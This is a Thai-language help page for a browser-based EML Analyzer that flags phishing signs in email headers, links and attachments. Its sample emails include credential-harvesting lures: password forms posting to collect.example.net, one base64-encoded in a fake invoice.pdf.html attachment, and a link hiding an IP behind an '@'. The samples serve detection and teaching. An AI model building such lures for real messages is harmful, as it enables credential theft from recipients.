ตรวจสอบบันทึก SPF (ด้วยขีดจำกัด 10 ครั้ง), DMARC, DKIM, MTA-STS และ BIMI ของโดเมน
EML Analyzer
เครื่องมือนี้ใช้ภาษาอังกฤษ; หน้านี้อธิบายด้วยภาษาของคุณ
ใช้EML Analyzer
หน้าที่ของมันคืออะไร
ลากไฟล์ .eml หรือคัดลอกข้อความต้นฉบับมาวาง เพื่อตรวจสอบส่วนหัวของผู้ส่ง, สายการรับ (Received chain), ลิงก์ และไฟล์แนบ ทุกอย่างทำงานได้ภายในเบราว์เซอร์ของคุณ
ระบบนี้ทำงานทั้งหมดในเบราว์เซอร์ของคุณ: ข้อมูลที่คุณป้อนจะไม่ถูกส่งขึ้นเซิร์ฟเวอร์เลย
วิธีใช้EML Analyzer
- ดูข้อความต้นฉบับ. บันทึกอีเมลในรูปแบบ .eml หรือคัดลอกเนื้อหาต้นฉบับ: Gmail (แสดงต้นฉบับ), Outlook (ดูเนื้อหาต้นฉบับของข้อความ), Thunderbird หรือ Apple Mail (ดูเนื้อหาต้นฉบับ). ไฟล์ .msg ของ Outlook ไม่สามารถอ่านได้
- โหลดมัน. ลากไฟล์ .eml ลงบนกล่องหรือเลือกไฟล์นั้น (ขนาดสูงสุด 50 MB) หรือวางเนื้อหาต้นฉบับลงในช่องข้อความ (ขนาดสูงสุด 5 MB) แล้วกดปุ่ม "วิเคราะห์"
- อ่านบทสรุป. ผลการตรวจสอบถูกจัดเรียงเป็นสัญญาณอันตราย คำเตือน หมายเหตุ และการตรวจสอบที่ผ่านแล้ว แต่ละบรรทัดจะระบุชื่อหัวข้อ ลิงก์ หรือไฟล์แนบที่เป็นแหล่งที่มาของข้อมูลนั้น
- ตรวจสอบรายละเอียด. ใต้ส่วนสรุปจะมีส่วนหัวของผู้ส่ง, โดเมนที่ได้รับการเปรียบเทียบกับโดเมน From, ผลลัพธ์การตรวจสอบความถูกต้อง, ห่วงโซ่ Received, ลิงก์ทุกอัน และไฟล์แนบทุกไฟล์
- ดูตัวชี้วัด. ทำเครื่องหมายที่ประเภทตัวบ่งชี้ที่คุณต้องการ แล้วคัดลอกแบบดิบหรือแบบที่ปรับแต่งแล้ว ดาวน์โหลดเป็นไฟล์ .txt หรือใช้ตัวเลือก "ส่งไปยัง"
ตัวอย่าง
ข้อความฟิชชิ่งที่ออกแบบมาอย่างพิถีพิถัน
Return-Path: <bounce@mailer.example>
Received: from mx.example.org (localhost [127.0.0.1])
by mx.example.org (Postfix) with ESMTP id 4QxYz1; Mon, 19 Oct 2026 09:15:07 +0000
Authentication-Results: mx.example.org; spf=softfail smtp.mailfrom=bounce@mailer.example;
dkim=pass header.d=mailer.example header.s=s1; dmarc=fail header.from=account-check.example
Received: from smtp.mailer.example (smtp.mailer.example [203.0.113.45])
by mx.example.org (Postfix) with ESMTPS id 4QxYz1; Mon, 19 Oct 2026 09:15:05 +0000
Received: from [192.168.10.20] (unknown [198.51.100.23])
by smtp.mailer.example (Postfix) with ESMTPSA id 9A8B7C; Mon, 19 Oct 2026 09:14:58 +0000
DKIM-Signature: v=1; a=rsa-sha256; d=mailer.example; s=s1; h=from:to:subject; bh=AAAA; b=BBBB
From: "support@example.com" <alerts@account-check.example>
Reply-To: billing@example.net
To: user@example.org
Subject: Action required: verify your account
Date: Mon, 19 Oct 2026 09:14:57 +0000
Message-ID: <4471@mailer.example>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b1"
--b1
Content-Type: text/html; charset=utf-8
<p>Your account will be suspended. Verify it here:
<a href="https://login.example.net/verify">https://www.example.com/account</a></p>
--b1
Content-Type: text/html; name="invoice.pdf.html"
Content-Disposition: attachment; filename="invoice.pdf.html"
Content-Transfer-Encoding: base64
PGZvcm0gYWN0aW9uPSJodHRwczovL2NvbGxlY3QuZXhhbXBsZS5uZXQvcG9zdCI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj48L2Zvcm0+
--b1--
pasted source · 1.5 KB · 3 MIME parts · nothing left this browser
Summary
6 danger signs
Display name shows support[@]example[.]com but the real sender address is alerts[@]account-check[.]example
DMARC fail (reported by mx[.]example[.]org): the From domain did not authenticate this message
attachment invoice.pdf.html contains a form with a password field
Link text shows www[.]example[.]com but the link goes to login[.]example[.]net
Attachment "invoice.pdf.html": double extension: looks like .pdf but is .html
Attachment "invoice.pdf.html": .html opens in a browser: a common way to deliver fake login pages
2 warnings
Replies go to billing[@]example[.]net, a different domain than the sender (account-check[.]example)
SPF softfail (reported by mx[.]example[.]org) for bounce[@]mailer[.]example
2 notes
Return-Path domain mailer[.]example differs from the From domain: SPF does not cover account-check[.]example (normal for bulk-mail services)
No DKIM signature from account-check[.]example (signed by mailer[.]example): DKIM is not aligned
Sender and key headers
FROM support[@]example[.]com <alerts[@]account-check[.]example>
REPLY-TO <billing[@]example[.]net>
RETURN-PATH <bounce[@]mailer[.]example>
TO <user[@]example[.]org>
SUBJECT Action required: verify your account
DATE Mon, 19 Oct 2026 09:14:57 +0000 (2026-10-19 09:14:57 UTC)
MESSAGE-ID <4471[@]mailer[.]example>
Domains compared with the From domain
From domain: account-check[.]example. DMARC passes only when SPF (Return-Path) or DKIM (d=) is from the same organization.
HEADER DOMAIN COMPARED WITH FROM
Reply-To example[.]net
…ชื่อผู้ส่งที่ปลอมตัวเป็น support@example.com, Reply-To และ DKIM บนโดเมนอื่น, DMARC ไม่ผ่าน, ลิงก์ที่มีข้อความแสดงว่า www.example.com แต่กลับนำไปยัง login.example.net, และไฟล์แนบ invoice.pdf.html ที่มีแบบฟอร์มใส่รหัสผ่าน
สิ่งที่ระบบตรวจสอบ
| สัญญาณ | ความหมายของคำนี้คืออะไร |
|---|---|
| ชื่อที่แสดงพร้อมที่อยู่อีเมล | มีความเสี่ยงเมื่อชื่อผู้ส่งแสดงที่อยู่หนึ่ง แต่ผู้ส่งจริงอยู่ที่อยู่อีกแห่ง แอปอีเมลมักแสดงเพียงชื่อเท่านั้น |
| Reply-To บนโดเมนอื่น | คำเตือน: คำตอบของคุณจะถูกส่งไปยังองค์กรที่ต่างจากผู้ส่ง |
| ผลการตรวจสอบความถูกต้อง | DMARC fail และ SPF fail เป็นสัญญาณอันตราย ส่วน SPF softfail และ DKIM fail เป็นคำเตือน ผลลัพธ์ที่ผู้ให้บริการของคุณเองเพิ่มเข้ามาเท่านั้นที่มีผล |
| Return-Path และโดเมน DKIM d= | จะแสดงขึ้นเมื่อทั้งสองค่าไม่ตรงกันกับโดเมน From ซึ่งถือเป็นเรื่องปกติสำหรับบริการส่งอีเมลจำนวนมาก แต่ DMARC ต้องการให้ค่าทั้งสองตรงกันอย่างน้อยหนึ่งค่า |
| รับสายโซ่ | ฮอปจะถูกจัดเรียงตามลำดับจากเก่าที่สุดก่อน โดยมีการระบุความล่าช้าด้วย หากมีเวลาประทับที่เร็วกว่าฮอปก่อนหน้า ความล่าช้าเกินหนึ่งชั่วโมง หรือ DNS กลับที่ระบุว่า "อาจถูกปลอมแปลง" จะถูกทำเครื่องหมายไว้ |
| ข้อความลิงก์และปลายทาง | มีความเสี่ยงเมื่อข้อความที่แสดงระบุชื่อโดเมนหนึ่ง แต่ลิงก์กลับชี้ไปยังโดเมนอื่น หรือเมื่อข้อความก่อนเครื่องหมาย @ ปิดบังชื่อโฮสต์ที่แท้จริง นอกจากนี้ IP แบบเปล่า punycode บริการย่อลิงก์ และลิงก์ที่ถูกห่อหุ้ม ก็จะถูกทำเครื่องหมายด้วยเช่นกัน |
| ไฟล์แนบ | ไฟล์ที่มีนามสกุลซ้ำซ้อน ไฟล์ที่รันโค้ดหรือเปิดในเบราว์เซอร์ เนื้อหาที่ไม่ตรงกับนามสกุล และเทคนิคการเปลี่ยนทิศทางจากขวาไปซ้ายจะถูกทำเครื่องหมายไว้ ไฟล์แต่ละไฟล์จะได้รับการคำนวณค่า SHA-256, SHA-1 และ MD5 |
| แบบฟอร์มและสคริปต์ใน HTML | แบบฟอร์มที่มีช่องใส่รหัสผ่านในเนื้อหาหรือในไฟล์แนบถือเป็นสัญญาณอันตราย ส่วนโค้ดสคริปต์ภายในไฟล์แนบถือเป็นคำเตือน |
ตัวอย่างเพิ่มเติม
ลิงก์ที่ซ่อนที่อยู่ IP
From: IT Desk <it@example.com>
To: you@example.org
Subject: Mailbox full
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <b2@example.com>
Content-Type: text/html
<p>Your mailbox is full. <a href="https://www.example.com@203.0.113.7/login">Upgrade storage</a></p>มีสัญญาณอันตราย 1 รายการ: "1 ลิงก์: ข้อความก่อน "@" ถูกละเว้น: โฮสต์จริงคือ 203.0.113.7" และคำเตือน 1 รายการ: "1 ลิงก์: ลิงก์ชี้ไปยังที่อยู่ IP แบบเปล่า" ตาราง Links แสดงที่อยู่ IP ที่ถูกทำให้ปลอดภัยแล้วอยู่ข้างข้อความ "อัปเกรดพื้นที่จัดเก็บ"
หน้า HTML ที่ปลอมตัวเป็น PDF
From: Accounts <billing@example.com>
To: you@example.org
Subject: Invoice
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <c3@example.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b"
--b
Content-Type: text/plain
Invoice attached.
--b
Content-Type: application/pdf; name="invoice.pdf"
Content-Disposition: attachment; filename="invoice.pdf"
<!DOCTYPE html><html><body><form action="https://collect.example.net/p"><input type="password" name="p"></form></body></html>
--b--2 สัญญาณเตือน: ไฟล์แนบ invoice.pdf "มีแบบฟอร์มที่มีช่องใส่รหัสผ่าน" และ "เนื้อหาเป็นเอกสาร HTML ไม่ใช่ .pdf" บัตรข้อมูลไฟล์แนบแสดงว่า Content: HTML document พร้อมด้วยแฮชสามตัว; ส่วนตาราง Links ระบุเป้าหมายของแบบฟอร์มว่า "แบบฟอร์มส่งข้อมูลไปยังที่อยู่นี้"
คำถามที่พบบ่อย
EML Analyzer ตรวจสอบอะไร?
มันจะถอดรหัสส่วนหัวและทุกส่วน MIME เปรียบเทียบโดเมน From, Reply-To, Return-Path, DKIM d= และ Message-ID และอ่าน Authentication-Results นอกจากนี้ ยังแสดงรายการจำนวนขั้นตอน (hops) ของ Received พร้อมกับความล่าช้าของแต่ละขั้นตอน, ลิงก์ทุกตัวพร้อมข้อความที่แสดงอยู่, และค่า SHA-256, SHA-1 และ MD5 ของไฟล์แนบแต่ละไฟล์
มันสามารถพิสูจน์ได้หรือไม่ว่าอีเมลนั้นเป็นอีเมลฟิชชิ่ง หรือว่าปลอดภัย?
ไม่ครับ มันแสดงข้อมูลและสัญญาณเตือนเท่านั้น ไม่ใช่คำตัดสิน: จดหมายจำนวนมากที่ถูกต้องตามกฎหมายมักมี Return-Path หรือโดเมน DKIM ที่ต่างกัน และลายเซ็น DKIM ถูกแสดงไว้ แต่ยังไม่ได้รับการตรวจสอบทางเข้ารหัส ไฟล์ .msg ของ Outlook ไม่ได้รับการสนับสนุน; ให้บันทึกข้อความเป็นไฟล์ .eml ก่อน
อีเมลนี้ถูกอัปโหลดไว้ที่ไหนบ้างไหม?
ไม่ครับ ไฟล์ดังกล่าวถูกอ่านและวิเคราะห์ในเบราว์เซอร์ของคุณ HTML จะแสดงเป็นข้อความเท่านั้น และไม่ถูกเรนเดอร์เลย นอกจากนี้ ไม่มีข้อมูลใดที่ส่งผ่านเครือข่ายเลย ปุ่ม "ส่งไปยัง" จะส่งผลลัพธ์ไปยังหน้าเครื่องมืออื่นผ่านพื้นที่จัดเก็บเซสชันของเบราว์เซอร์ของคุณ
มันจะเชื่อถือหัวเรื่อง Authentication-Results ใด?
ส่วนที่ระบบอีเมลของคุณเองเพิ่มเข้าไป ซึ่งสามารถระบุได้จากสายข้อมูล Received และถูกทำเครื่องหมายว่า "เพิ่มโดยเซิร์ฟเวอร์ของผู้รับ" ส่วนหัวที่อยู่ด้านล่างในข้อความอาจถูกเขียนโดยผู้ส่ง ดังนั้นหน้าเว็บจึงแนะนำให้คุณเชื่อถือเฉพาะผลลัพธ์จากผู้ให้บริการของคุณเท่านั้น
มันสามารถเปิดอีเมลที่แนบมาในอีเมลอื่นได้หรือไม่?
ใช่ครับ ข้อความที่แนบมาจะแสดงพร้อมกับรหัสแฮช และปุ่ม "วิเคราะห์ข้อความที่แนบมา" ซึ่งจะเปิดข้อความนั้นในหน้าเดียวกัน ส่วนปุ่ม "กลับไปยังข้อความหลัก" จะนำคุณกลับไปยังข้อความหลัก
ทำไมมีที่อยู่ IP บางตัวที่หายไปจากตัวชี้วัด?
ที่อยู่ส่วนตัวและที่อยู่ท้องถิ่น รวมถึงขั้นตอนการส่งภายในระบบอีเมลของผู้รับเอง จะไม่ถูกรวมไว้ เนื่องจากไม่ชี้ไปยังเซิร์ฟเวอร์ของผู้ส่ง นอกจากนี้ ที่อยู่อีเมลของผู้รับก็ไม่ถูกรวมไว้เช่นกัน